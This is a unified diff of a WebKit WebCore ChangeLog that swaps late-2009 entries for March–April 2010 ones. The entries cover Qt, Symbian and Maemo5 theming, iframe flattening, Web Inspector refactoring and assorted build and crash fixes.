+        Write out the feature #ifdef not only for the getter, but also for the setter
+        function.
 
-        This can for example happen in setDefersLoading() as a result of a PageGroupLoadDeferrer
-        going out of scope when returning from Chrome::runJavaScriptAlert(), where the alert()
-        came from a script executed as part of the first/original load.
+        * bindings/scripts/CodeGeneratorJS.pm:
 
-        https://bugs.webkit.org/show_bug.cgi?id=30879
+2010-04-06  Abhinav Mithal <abhinav.mithal@nokia.com>
 
-        * loader/MainResourceLoader.cpp:
-        (WebCore::MainResourceLoader::handleDataLoadNow): clear m_initialRequest
+        Reviewed by Laszlo Gombos.
 
-2009-11-04  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+        [Qt] npapi header leaves XP_WIN flag defined even when __SYMBIAN32__ flag is found
+        https://bugs.webkit.org/show_bug.cgi?id=34614
 
-        Reviewed by Timothy Hatcher.
+        Do not define XP_WIN if WebKit is compiled for Symbian.
 
-        WebInspector: Use a different method to identify the webkit port in
-        InspectorBackent::platform().
-        This corrects the inspector expected behavior with Qt on Windows.
-        https://bugs.webkit.org/show_bug.cgi?id=31116
+        No new tests as there is no new functionality.
 
-        * inspector/InspectorBackend.cpp:
-        (WebCore::InspectorBackend::platform):
-        (WebCore::InspectorBackend::port):
-        * inspector/InspectorBackend.h:
-        * inspector/InspectorBackend.idl:
-        * inspector/front-end/InspectorControllerStub.js:
-        (.WebInspector.InspectorControllerStub.prototype.port):
-        * inspector/front-end/inspector.css:
-        * inspector/front-end/inspector.js:
-        (WebInspector.loaded):
-        (WebInspector.toolbarDragStart):
+        * bridge/npapi.h:
 
-2009-11-12  Benjamin Poulain  <benjamin.poulain@nokia.com>
+2010-04-05  Luiz Agostini  <luiz.agostini@openbossa.org>
 
         Reviewed by Kenneth Rohde Christiansen.
 
-        Custom printing shrink factors
-        https://bugs.webkit.org/show_bug.cgi?id=29042
+        [Qt] Maemo5 theme - wrong spelling
+        https://bugs.webkit.org/show_bug.cgi?id=37110
 
-        This reverts commit r49769. The public API for this needs to be reviewed
-        before its inclusion in Qt.
+        Correcting wrong spelling in RenderThemeQt.cpp.
 
-        * page/PrintContext.cpp:
-        (WebCore::PrintContext::begin):
-        * page/Settings.cpp:
-        (WebCore::Settings::Settings):
-        * page/Settings.h:
+        * platform/qt/RenderThemeQt.cpp:
 
-2009-11-09  Norbert Leser  <norbert.leser@nokia.com>
+2010-04-01  Luiz Agostini  <luiz.agostini@openbossa.org>
 
         Reviewed by Kenneth Rohde Christiansen.
 
-        Moved macro MMP_RULES (LINKEROPTION) into symbian instead of symbian-sbsv2,
-        since adjustment of RW-section base address will be needed for all new symbian
-        tool chains, specifically for arm and gcc compilation targets.
-        Also, change target address to 0xE00000 to be sufficient for all targets.
+        [Qt] Maemo5 theme - <select multiple> custom rendering
+        https://bugs.webkit.org/show_bug.cgi?id=36369
 
-        * WebCore.pro:
+        Customizing rendering of <select multiple> elements in Maemo5.
 
-2009-11-11  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+        * platform/qt/Maemo5Webstyle.cpp:
+        (Maemo5WebStyle::drawMultipleComboButton):
+        (Maemo5WebStyle::drawSimpleComboButton):
+        (Maemo5WebStyle::getButtonImageSize):
+        (Maemo5WebStyle::findComboButton):
+        (Maemo5WebStyle::drawComplexControl):
+        * platform/qt/Maemo5Webstyle.h:
 
-        Reviewed by Eric Seidel.
-
-        [Qt] Make the default style background color valid.
-        Currently the color is transparent but invalid, this causes
-        list boxes in QtWebKit to be drawn with a black background
-        since r49242.
-        https://bugs.webkit.org/show_bug.cgi?id=31295
-
-        * rendering/style/RenderStyle.h:
-        (WebCore::InheritedFlags::initialBackgroundColor):
-        * rendering/style/StyleBackgroundData.cpp:
-        (WebCore::StyleBackgroundData::StyleBackgroundData):
-
-2009-11-11  Simon Hausmann  <simon.hausmann@nokia.com>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Introduce a function for querying the input method status
-        in QWebPageClient.
-
-        * platform/qt/QWebPageClient.h:
-
-2009-11-09  Yael Aharon  <yael.aharon@nokia.com>
+2010-03-31  Luiz Agostini  <luiz.agostini@openbossa.org>
 
         Reviewed by Kenneth Rohde Christiansen.
 
-        [Qt] Pass credentials provided by XMLHTTPRequest to the network request.
-        https://bugs.webkit.org/show_bug.cgi?id=31208
-
-        After r42483, the credentials are no longer passed to the network request
-        in the URL of the request.
-        Pass the credentials from XMLHTTPRequest to the network request, the same
-        way that other ports do.
+        [Qt] Maemo5 theme - form controls style
+        https://bugs.webkit.org/show_bug.cgi?id=36370
 
-        After this patch LayoutTests/http/xmlhttprequest/basic-auth.html passes.
-
-        * platform/network/qt/ResourceHandleQt.cpp:
-        (WebCore::ResourceHandle::start):
-        (WebCore::ResourceHandle::loadResourceSynchronously):
-
-2009-11-03  Simon Hausmann  <hausmann@webkit.org>
-
-        Unreviewed build fix for WebInspector with Qt build.
-
-        Simply re-generate the Qt resource file by running
-        WebKitTools/Scripts/generate-qt-inspector-resource
-
-        * inspector/front-end/WebKit.qrc:
-
-2009-11-03  Simon Hausmann  <hausmann@webkit.org>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Make QWebPluginDatabase private API for now.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30775
+        Adjusting Mameo5 form elements rendering.
 
+        * WebCore.pri:
         * WebCore.pro:
+        * css/themeQtMaemo5.css: Added.
+        (select):
+        (select:disabled):
+        (select:active):
+        (select:active:disabled):
+        (textarea):
+        (textarea:disabled):
+        (textarea:active):
+        * platform/qt/Maemo5Webstyle.cpp: Added.
+        (Maemo5WebStyle::Maemo5WebStyle):
+        (drawRectangularControlBackgorund):
+        (Maemo5WebStyle::drawChecker):
+        (Maemo5WebStyle::findChecker):
+        (Maemo5WebStyle::drawRadio):
+        (Maemo5WebStyle::findRadio):
+        (Maemo5WebStyle::drawControl):
+        (Maemo5WebStyle::drawComplexControl):
+        * platform/qt/Maemo5Webstyle.h: Added.
+        * platform/qt/RenderThemeQt.cpp:
+        (WebCore::RenderThemeQt::RenderThemeQt):
+        (WebCore::RenderThemeQt::isControlStyled):
+        (WebCore::RenderThemeQt::popupInternalPaddingBottom):
+        (WebCore::RenderThemeQt::extraDefaultStyleSheet):
+        (WebCore::RenderThemeQt::adjustMenuListButtonStyle):
+        * platform/qt/RenderThemeQt.h:
 
-2009-11-03  Simon Hausmann  <hausmann@webkit.org>
-
-        Reviewed by Tor Arne Vestbø.
-
-        Extended the conversion of the WebCore ResourceRequest to the
-        QNetworkRequest with a mandatory originating object argument,
-        which is meant to be the QWebFrame the request belongs to.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29975
-
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
-        (WebCore::QNetworkReplyHandler::sendResponseIfNeeded):
-        (WebCore::QNetworkReplyHandler::start):
-        * platform/network/qt/ResourceRequest.h:
-        * platform/network/qt/ResourceRequestQt.cpp:
-        (WebCore::ResourceRequest::toNetworkRequest):
-
-2009-11-02  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
-
-        Reviewed by Adam Barth.
-
-        QWebView crash fix.
-
-        The QWebView should not crash if the stop() method is called from
-        a function triggered by the loadProgress signal.
-
-        A null pointer protection was added in the ProgressTracker::incrementProgress.
-
-        New autotest was created.
-
-        https://bugs.webkit.org/show_bug.cgi?id=29425
-
-        * loader/ProgressTracker.cpp:
-        (WebCore::ProgressTracker::incrementProgress):
-
-2009-11-02  Kai Koehne  <kai.koehne@nokia.com>
-
-        Reviewed by Holger Freyther.
-
-        Remove implementation of ImageDecocerQt::clearFrameBufferCache.
-        The implementation was buggy, and will visually break repeating
-        animations anyway.
-
-        https://bugs.webkit.org/show_bug.cgi?id=31009
-
-        * platform/graphics/qt/ImageDecoderQt.cpp:
-        (WebCore::ImageDecoderQt::clearFrameBufferCache):
-
-2009-11-01  Yael Aharon  <yael.aharon@nokia.com>
-
-        Reviewed by Darin Adler.
-
-        Don't add '/' to the URL path if the it does not include '/' after the protocol component
-        https://bugs.webkit.org/show_bug.cgi?id=30971
-
-        Match IE8 behaviour, that does not add '/' if there is none after the protocol component.
-
-        * platform/KURL.cpp:
-        (WebCore::KURL::parse):
+2010-04-05  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-2009-10-30  Kenneth Rohde Christiansen  <kenneth@webkit.org>
+        Reviewed by Kenneth Rohde Christiansen.
 
-        Reviewed by Holger Hans Peter Freyther.
+        [Symbian] Consolidate Symbian WINSCW environment configuration
+        https://bugs.webkit.org/show_bug.cgi?id=37100
 
-        If the owner widget of the page has a palette set, we
-        should use that one. This was only working when the
-        owner was a QWebView. This patch fixes that.
+        Move the "undefinition" of WIN32 and _WIN32 from WebCore/config.h
+        to JavaScriptCore/wtf/Platform.h as it is not specific to WebCore.
 
-        * platform/qt/RenderThemeQt.cpp:
-        (WebCore::RenderThemeQt::applyTheme):
+        No new tests as there is no new functionality.
 
-2009-10-29  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+        * config.h:
 
-        Reviewed by Tor Arne Vestbø.
+2010-04-05  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
-        [Qt] Implement DELETE HTTP method for XmlHttpRequest
-        https://bugs.webkit.org/show_bug.cgi?id=30894
+        Reviewed by Kenneth Rohde Christiansen.
 
-        No new tests as this functionality is already tested by the 
-        xmlhttprequest LayoutTests. As this patch depends on an unreleased
-        version of the dependent QtNetwork library and the tests will be
-        enabled later once the dependent library is released (and the
-        buildbot is updated).
+        Consolidate the definition of SKIP_STATIC_CONSTRUCTORS_ON_GCC
 
-        * platform/network/qt/QNetworkReplyHandler.cpp:
-        (WebCore::QNetworkReplyHandler::QNetworkReplyHandler):
-        (WebCore::QNetworkReplyHandler::start):
+        Instead of defining and undefining it later, let's not
+        define SKIP_STATIC_CONSTRUCTORS_ON_GCC for WINSCW.
 
-2009-11-02  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+        No new tests as there is no new functionality.
 
-        Rubber-stamped by Antti Koivisto.
+        * config.h:
 
-        [Qt] Build fix for Windows CE
+2010-03-30  Luiz Agostini  <luiz.agostini@openbossa.org>
 
-        * plugins/PluginDatabase.cpp:
+        Reviewed by Kenneth Rohde Christiansen.
 
-2009-11-02  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+        [Qt] Maemo5 theme - QtMaemoWebPopup class
+        https://bugs.webkit.org/show_bug.cgi?id=36790
 
-        Reviewed by Tor Arne Vestbø.
+        Moving maemo5 theme related code from WebCore.pri to WebCore.pro and adding
+        new maemo menu lists popup class source and header to the project.
 
-        [Qt] Fix Qt build on Windows.
-        https://bugs.webkit.org/show_bug.cgi?id=30905
+        The code was in .pri file because of a theme css that was conditionally included.
+        As the css file is been included unconditionally there is no need to this
+        code to be kept in webcore.pri.
 
+        * WebCore.pri:
         * WebCore.pro:
-        * platform/graphics/BitmapImage.h:
-        * platform/graphics/qt/ImageQt.cpp:
-        (WebCore::BitmapImage::BitmapImage):
-        (WebCore::BitmapImage::create):
 
-2009-10-28  Adam Barth  <abarth@webkit.org>
+2010-04-02  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
 
         Reviewed by Eric Seidel.
 
-        Don't run JavaScript URLs in view source mode
-        https://bugs.webkit.org/show_bug.cgi?id=30881
-
-        Just say no.
-
-        Test: http/tests/security/view-source-no-javascript-url.html
-
-        * bindings/ScriptControllerBase.cpp:
-        (WebCore::ScriptController::executeIfJavaScriptURL):
-
-2009-10-29  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Unreviewed. Fixes style problems pointed out by Evan Martin.
-
-        * platform/gtk/Language.cpp:
-        (WebCore::defaultLanguage):
-
-2009-10-29  Dan Bernstein  <mitz@apple.com>
+        Accept XHTML-MP content type as XHTML content
+        https://bugs.webkit.org/show_bug.cgi?id=34262
 
-        Rubber-stamped by Mark Rowe.
+        Enable processing XHTML-MP mime type as an XHTML document
+        even if XHTML-MP support is not enabled.
 
-        64-bit Leopard build fix after r50259
-        
-        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
-        Declared ATSUTextInserted in 64-bit.
-        (WebCore::fontHasMirroringInfo): Use %d format and cast to int.
-        (WebCore::disableLigatures): Ditto.
-        (WebCore::initializeATSUStyle): Ditto.
-        (WebCore::ComplexTextController::collectComplexTextRunsForCharacters): Ditto.
-
-2009-10-29  Dan Bernstein  <mitz@apple.com>
+        * platform/MIMETypeRegistry.cpp:
+        (WebCore::initializeSupportedNonImageMimeTypes):
 
-        Tiger build fix after r50259
+2010-04-01  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        * platform/graphics/mac/ComplexTextController.h:
-        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        Reviewed by Dave Hyatt.
 
-2009-10-29  Dan Bernstein  <mitz@apple.com>
+        iframe flattening doesn't flatten
+        https://bugs.webkit.org/show_bug.cgi?id=36798
 
-        Attempted Tiger build fix after r50259
+        Fixed to the iframe flattening code so that the iframes on
+        http://www.samisite.com/test-csb2nf/id43.htm are actually
+        flattened.
 
-        * platform/graphics/mac/ComplexTextControllerATSUI.cpp:
+        Covered by current tests.
 
-2009-10-28  Steve Falkenburg  <sfalken@apple.com>
+        * page/FrameView.cpp: Propagate contents changes of iframes
+        and subframes in framesets to the parent so that it is relayouted
+        (WebCore::FrameView::setContentsSize):
+        (WebCore::FrameView::adjustViewSize):
+        (WebCore::FrameView::scheduleRelayout):
+        * rendering/RenderPart.cpp: HTMLIFrameElement do not inherit from
+        HTMLFrameElement, but HTMLFrameElementBase, correct cast. Correct
+        the use of inset border values. Avoid a sometimes unnecessary
+        relayout.
+        (WebCore::RenderPart::layoutWithFlattening):
+        * rendering/RenderPartObject.cpp: Make the calcHeight and calcWidth
+        return the right values, considering scrolling and fixed width/height
+        (WebCore::RenderPartObject::flattenFrame):
+        (WebCore::RenderPartObject::calcHeight):
+        (WebCore::RenderPartObject::calcWidth):
+        (WebCore::RenderPartObject::layout):
 
-        Rubber stamped by Mark Rowe.
+2010-03-31  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        https://bugs.webkit.org/show_bug.cgi?id=30899
-        WebKit fails to build release on 32-bit Windows systems
+        Unreviewed crash fix.
 
-        * WebCore.vcproj/WebCore.vcproj: Excluded files from project.
-        * bindings/js/JSBindingsAllInOne.cpp: Added.
+        Crash with frame flattening on after r56854
+        https://bugs.webkit.org/show_bug.cgi?id=36894
 
-2009-10-28  Dan Bernstein  <mitz@apple.com>
+        Solution tested by Greg Bolsinga, thanks.
 
-        Reviewed by Jon Honeycutt.
+        * page/FrameView.cpp:
+        (WebCore::FrameView::avoidScrollbarCreation):
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::setHasHorizontalScrollbar):
+        (WebCore::ScrollView::setHasVerticalScrollbar):
 
-        Fixed typos in color names.
+2010-03-31  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        * inspector/front-end/Color.js:
+        Reviewed by Antti Koivisto.
 
-2009-10-28  Dan Bernstein  <mitz@apple.com>
+        iframe flattening doesn't flatten
+        https://bugs.webkit.org/show_bug.cgi?id=36798
 
-        Reviewed by Sam Weinig.
+        Do not draw scrollbars for subframes when frame flattening is
+        enabled. Implemented using a virtual method in ScrollView as
+        suggested by Dave Hyatt.
 
-        Share code between the ATSUI- and Core Text-based Font implementations by doing the
-        following:
-        - Generalize CoreTextController as ComplexTextController, keeping the Core Text-specific
-          parts in ComplexTextControllerCoreText.cpp.
-        - Generalize FontMacCoreText as FontComplexTextMac using ComplexTextController
-        - Implement ATSUI-specific parts of ComplexTextController in ComplexTextControllerATSUI.
-        - Remove FontMacATSUI.
-
-        * WebCore.xcodeproj/project.pbxproj: Removed CoreTextController.{cpp,h}, FontMacATSUI.mm,
-        and FontMacCoreText.cpp, and added ComplexTextController.{cpp,h},
-        ComplexTextControllerATSUI.cpp, ComplexTextControllerCoreText.cpp, and
-        FontComplexTextMac.cpp.
-
-        * platform/graphics/mac/ComplexTextController.cpp: Copied from CoreTextController.cpp and
-        kept the non-Core Text-specific bits.
-        (WebCore::ComplexTextController::ComplexTextController): Updated for renames, including
-        its own.
-        (WebCore::ComplexTextController::offsetForPosition): Updated for renames and for
-        m_complexTextRuns holding references instead of objects.
-        (WebCore::ComplexTextController::collectComplexTextRuns): Updated for renames, including
-        its own.
-        (WebCore::ComplexTextController::advance): Updated for renames.
-        (WebCore::ComplexTextController::adjustGlyphsAndAdvances): Updated for renames and for
-        m_complexTextRuns holding references instead of objects, and changed to use the glyphs()
-        and advances() accessors.
-
-        * platform/graphics/mac/ComplexTextController.h: Copied from CoreTextController.h and
-        renamed CoreTextController to ComplexTextController and CoreTextRun to ComplexTextRun. Made
-        the latter RefCounted, added ATSUI-specific members to it, and made some other members
-        Core Text-specific. Renamed m_coreTextRuns to m_complexTextRuns and made it hold references
-        rather than objects.
-        (WebCore::ComplexTextController::ComplexTextRun::create):
-        (WebCore::ComplexTextController::ComplexTextRun::glyphs):
-        (WebCore::ComplexTextController::ComplexTextRun::advances):
-
-        * platform/graphics/mac/ComplexTextControllerATSUI.cpp: Added. Includes ATSUI-specific
-        parts of the ComplexTextController implementation. 
-        (WebCore::ComplexTextController::ComplexTextRun::overrideLayoutOperation): This ATSUI
-        callback populates the ComplexTextRun’s glyphs, advances and indices vectors. It is invoked
-        when the ComplexTextRun constructor calls ATSUGetGlyphBounds().
-        (WebCore::isArabicLamWithAlefLigature): Helper function, copied from FontMacATSUI.mm.
-        (WebCore::shapeArabic): Helper function, adapted from FontMacATSUI.mm.
-        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): Sets up the
-        ATSUTextLayout, substituting the text buffer if necessary for things like shaping Arabic,
-        mirroring glyphs or directionality overrides, then calls ATSUGetGlyphBounds() in order to
-        get the glyphs, advances and indices vectors populated.
-        (WebCore::fontHasMirroringInfo): Helper function, copied from FontMacATSUI.mm.
-        (WebCore::disableLigatures): Ditto.
-        (WebCore::initializeATSUStyle): Ditto, somewhat cleaned up and simplified.
-        (WebCore::ComplexTextController::collectComplexTextRunsForCharacters): Constructs
-        ComplexTextRuns, either missing-glyphs ones or ATSUTextLayout-based ones.
-
-        * platform/graphics/mac/ComplexTextControllerCoreText.cpp: Copied from
-        CoreTextController.cpp and kept the Core Text-specific bits.
-        (WebCore::ComplexTextController::ComplexTextRun::ComplexTextRun): Updated for renames,
-        including its own, and moved the code to initialize m_glyphs and m_advances here. Previously
-        this was done in adjustGlyphsAndAdvances().
-        (WebCore::ComplexTextController::collectComplexTextRunsForCharacters): Updated for renames,
-        including its own.
-        * platform/graphics/mac/CoreTextController.cpp: Removed.
-        * platform/graphics/mac/CoreTextController.h: Removed.
-        * platform/graphics/mac/FontComplexTextMac.cpp: Renamed FontMacCoreText.cpp to this.
-        (WebCore::Font::selectionRectForComplexText): Changed to use ComplexTextController instead
-        of CoreTextController.
-        (WebCore::Font::drawComplexText): Ditto.
-        (WebCore::Font::floatWidthForComplexText): Ditto.
-        (WebCore::Font::offsetForPositionForComplexText): Ditto.
-        * platform/graphics/mac/FontMacATSUI.mm: Removed.
-        * platform/graphics/mac/FontMacCoreText.cpp: Removed.
-
-2009-10-27  Chris Fleizach  <cfleizach@apple.com>
+        Do not suppress scrollbars as that is wrong according to
+        Dave Hyatt.
 
-        Reviewed by Darin Adler.
+        Covered by current tests.
 
-        WAI-ARIA: add support for 'option' role
-        https://bugs.webkit.org/show_bug.cgi?id=30843
+        * page/FrameView.cpp:
+        (WebCore::FrameView::avoidScrollbarCreation):
+        * page/FrameView.h:
+        * platform/ScrollView.cpp:
+        (WebCore::ScrollView::setHasHorizontalScrollbar):
+        (WebCore::ScrollView::setHasVerticalScrollbar):
+        * platform/ScrollView.h:
+        (WebCore::ScrollView::avoidScrollbarCreation):
+        * rendering/RenderPart.cpp:
+        (WebCore::RenderPart::layoutWithFlattening):
 
-        Test: accessibility/aria-option-role.html
+2010-03-30  Kenneth Rohde Christiansen  <kenneth@webkit.org>
 
-        * accessibility/AccessibilityListBoxOption.h:
-        (WebCore::AccessibilityListBoxOption::canHaveChildren):
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::RoleEntry::):
-        (WebCore::AccessibilityRenderObject::canHaveChildren):
+        Reviewed by Antti Koivisto.
 
-2009-10-28  Jens Alfke  <snej@chromium.org>
+        iframe flattening doesn't flatten
+        https://bugs.webkit.org/show_bug.cgi?id=36798
 
-        Reviewed by Eric Seidel.
+        Fix wrongly reversing logic in frame flattening check.
 
-        Fix GCC compiler warnings in WebCore, and enable -Wall and -Werror for Chromium build.
-        https://bugs.webkit.org/show_bug.cgi?id=30716
+        Tests:
+        fast/frames/flattening/iframe-flattening-fixed-height.html
+        fast/frames/flattening/iframe-flattening-fixed-width.html
+        fast/frames/flattening/iframe-flattening-fixed-width-and-height.html
+        fast/frames/flattening/iframe-flattening-fixed-width-and-height-no-scrolling.html
 
-        * WebCore.gyp/WebCore.gyp:  Enable "chromium_code" flag, just on Mac build for now.
-        * accessibility/AccessibilityRenderObject.cpp:
-        (WebCore::createARIARoleMap):  Fix struct visibiity warning.
-        * bindings/v8/ScriptCallStack.h:  Fix out-of-order member initialization warning.
-        * bindings/v8/V8Collection.h:
-        (WebCore::getV8Object):  Function in header should not be 'static' (fixes unused-static warning.)
-        * bindings/v8/V8DOMWrapper.cpp:
-        (WebCore::V8DOMWrapper::convertNewNodeToV8Object):  Fix signed/unsigned comparison warning.
-        * bindings/v8/V8GCController.cpp:
-        (WebCore::ObjectGrouperVisitor::applyGrouping):  Fix unused-variable warning.
-        * css/CSSPrimitiveValueMappings.h:
-        (WebCore::CSSPrimitiveValue::CSSPrimitiveValue):  Enable ListButtonPart case to avoid
-            warning about missing cases in 'switch' statement.
-        * editing/EditorCommand.cpp:
-        (WebCore::createCommandMap):  Fix struct visibiity warning.
-        * platform/graphics/skia/PlatformContextSkia.cpp:
-        (PlatformContextSkia::State::State):  Fix out-of-order member initialization warning.
-        * rendering/RenderMediaControlsChromium.cpp:
-        (WebCore::RenderMediaControlsChromium::shouldRenderMediaControlPart):  Add empty 'default' case in
-            'switch' statement to avoid missing-case warning.
-        (WebCore::RenderMediaControlsChromium::paintMediaControlsPart):  Ditto.
-        * xml/XPathFunctions.cpp:
-        (WebCore::XPath::createFunctionMap):  Fix struct visibiity warning.
+        * rendering/RenderPartObject.cpp:
+        (WebCore::RenderPartObject::flattenFrame):
 
-2009-10-29  Adam Barth  <abarth@webkit.org>
+2010-03-31  Benjamin Poulain  <benjamin.poulain@nokia.com>
 
         Reviewed by Darin Adler.
 
-        REGRESSION: crashes in WebCore::RedirectScheduler::timerFired(WebCore::Timer<WebCore::RedirectScheduler>*)
-        https://bugs.webkit.org/show_bug.cgi?id=30839
-
-        Added null check for the case when the frame is detached from the page.
-
-        * loader/RedirectScheduler.cpp:
-        (WebCore::RedirectScheduler::timerFired):
-
-2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Xan Lopez.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30817
-        Use parentObjectUnignored instead of parentObject in webkit_accessible_get_parent
-
-        Also removes the hack I had originally added to solve bug 25411, because
-        the fix here is what I should have done in the first place.
-
-        * accessibility/gtk/AccessibilityObjectWrapperAtk.cpp:
-        (webkit_accessible_get_parent):
-
-2009-10-28  Dmitry Titov  <dimich@chromium.org>
-
-        Reviewed by David Levin.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30805
-        Add MessageQueue::removeIf(Predicate&) to remove certain tasks without pulling them from the queue.
-        Existing Database tests cover this, no change in functionality.
-
-        * storage/DatabaseThread.cpp:
-        (WebCore::SameDatabasePredicate::SameDatabasePredicate): Added predicate that flags the tasks belonging to a specified database.
-        (WebCore::SameDatabasePredicate::operator()):
-        (WebCore::DatabaseThread::unscheduleDatabaseTasks): changed to use the new removeIf method.
-
-2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
-
-        Reviewed by Timothy Hatcher.
-
-        Web Inspector: Glue subsequent timeline records with same category
-        and title together.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30885
-
-        * English.lproj/localizedStrings.js:
-        * inspector/front-end/TimelinePanel.js:
-        (WebInspector.TimelinePanel.prototype.addRecordToTimeline):
-        (WebInspector.TimelinePanel.prototype._formatRecord):
-        (WebInspector.TimelineRecordTreeElement.prototype.onattach):
-        (WebInspector.TimelineRecordTreeElement.prototype.refresh):
-
-2009-10-28  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
-
-        Reviewed by Xan Lopez.
-
-        [GTK] Fails new test fast/js/navigator-language.html
-        https://bugs.webkit.org/show_bug.cgi?id=30440
-
-        Reimplement WebCore::defaultLanguage to account for changes in
-        locale done by setLocale.
-
-        Already existing test: fast/js/navigator-language.html
-
-        * platform/gtk/Language.cpp:
-        (WebCore::defaultLanguage):
-
-2009-10-28  Eric Carlson  <eric.carlson@apple.com>
-
-        Reviewed by Simon Fraser.
-
-        <rdar://problem/7303145> 
-        Can't exit full screen mode or restart movie after pressing command -R.
-
-        * html/HTMLMediaElement.cpp:
-        (WebCore::HTMLMediaElement::removedFromDocument):
-        (WebCore::HTMLMediaElement::documentWillBecomeInactive):
-            Exit from fullscreen if necessary.
-        * html/HTMLMediaElement.h:
-
-2009-10-28  Alexey Proskuryakov  <ap@apple.com>
-
-        Unreviewed - a trivial fix to get Windows bots running.
-
-        https://bugs.webkit.org/show_bug.cgi?id=30841
-        <rdar://problem/7342730> WebKit should not pass Referer header through a redirect to a non-secure site
-
-        * platform/network/cf/ResourceRequestCFNet.cpp: (WebCore::setHeaderFields): Don't try to
-        access empty vector's data.
-
-2009-10-28  Joanmarie Diggs  <joanmarie.diggs@gmail.com>
-
-        Reviewed by Xan Lopez.
-
-        https://bugs.webkit.org/show_bug.cgi?id=25897
-        [Gtk] Extraneous object of ROLE_PANEL in hierarchy for entries
+        tryLayoutDoingPositionedMovementOnly does not have to be in RenderObject or be virtual
+        https://bugs.webkit.org/show_bug.cgi?id=36810
 
-        Remove the extraneous object of ROLE_PANEL.
+        Move tryLayoutDoingPositionedMovementOnly as a regular method of RenderBox
 
-        * accessibility/gtk/AccessibilityObjectAtk.cpp:
-        (AccessibilityObject::accessibilityPlatformIncludesObject):
+        * rendering/RenderBox.h:
+        (WebCore::RenderBox::tryLayoutDoingPositionedMovementOnly):
+        * rendering/RenderObject.h:
 
-2009-10-28  Jonathan Dixon  <joth@chromium.org>
+2010-03-30  Stanislav Paltis  <Stanislav.Paltis@nokia.com>
 
-        Reviewed by Eric Seidel.
+        Reviewed by Laszlo Gombos.
 
-        Bug 30547: (Chromium) searchbox not rendered properly due to the css property -webkit-border-radius
-        https://bugs.webkit.org/show_bug.cgi?id=30547
+        [Qt] qmake/symbian build failure
+        https://bugs.webkit.org/show_bug.cgi?id=36745
 
-        Test: fast/css/text-input-with-webkit-border-radius.html
+        Fix build break in Symbian build introduced in r56714,
+        by modifying comment escape character from ";" to "#".
 
-        * rendering/RenderThemeChromiumWin.cpp:
-        (WebCore::RenderThemeChromiumWin::paintTextFieldInternal):
-          Implemented rounded border rendering in Chromium Windows theme renderer.
+        * WebCore.pro:
 
-2009-10-28  Pavel Feldman  <pfeldman@chromium.org>
+2010-03-29  Janne Koskinen  <janne.p.koskinen@digia.com>
 
-        Reviewed by Timothy Hatcher.
+        Reviewed by Simon Hausmann.
 
-        Web Inspector: Pull items collections from resources panel and
-        timeline panel into AbstractTimelinePanel.
+        [Qt] Package build fixes for Symbian
 
-        https://bugs.webkit.org/show_bug.cgi?id=30875
+        * enable building standalone QtWebkit for Symbian using qtlibinfix configuration option
 
-        * inspector/front-end/AbstractTimelinePanel.js:
-        (WebInspector.AbstractTimelinePanel):
-        (WebInspector.AbstractTimelinePanel.prototype.populateSidebar):
-        (WebInspector.AbstractTimelinePanel.prototype.createItemTreeElement):
-        (WebInspector.AbstractTimelinePanel.prototype.createItemGraph):
-        (WebInspector.AbstractTimelinePanel.prototype._showCategory):
-        (WebInspector.AbstractTimelinePanel.prototype._hideCategory):
-        (WebInspector.AbstractTimelinePanel.prototype.filter):
-        (WebInspector.AbstractTimelinePanel.prototype._createGraph):
-        (WebInspector.AbstractTimelinePanel.prototype.updateMainViewWidth):
-        (WebInspector.AbstractTimelinePanel.prototype.refresh):
-        (WebInspector.AbstractTimelinePanel.prototype.reset):
-        (WebInspector.AbstractTimelinePanel.prototype.get calculator):
-        (WebInspector.AbstractTimelinePanel.prototype.set calculator):
-        (WebInspector.AbstractTimelinePanel.prototype.addItem):
-        (WebInspector.AbstractTimelinePanel.prototype.removeItem):
-        (WebInspector.AbstractTimelinePanel.prototype.refreshItem):
-        (WebInspector.AbstractTimelinePanel.prototype.revealAndSelectItem):
-        (WebInspector.AbstractTimelinePanel.prototype.sortItems):
-        (WebInspector.AbstractTimelinePanel.prototype.adjustScrollPosition):
-        (WebInspector.AbstractTimelineCategory):
-        (WebInspector.AbstractTimelineCategory.prototype.toString):
-        * inspector/front-end/ResourceCategory.js:
-        (WebInspector.ResourceCategory):
-        * inspector/front-end/ResourcesPanel.js:
-        (WebInspector.ResourcesPanel):
-        (WebInspector.ResourcesPanel.prototype.createItemTreeElement):
-        (WebInspector.ResourcesPanel.prototype.createItemGraph):
-        (WebInspector.ResourcesPanel.prototype.isCategoryVisible):
-        (WebInspector.ResourcesPanel.prototype.populateSidebar):
-        (WebInspector.ResourcesPanel.prototype.get searchableViews):
-        (WebInspector.ResourcesPanel.prototype.get searchResultsSortFunction.sortFuction):
-        (WebInspector.ResourcesPanel.prototype.get searchResultsSortFunction):
-        (WebInspector.ResourcesPanel.prototype.searchMatchFound):
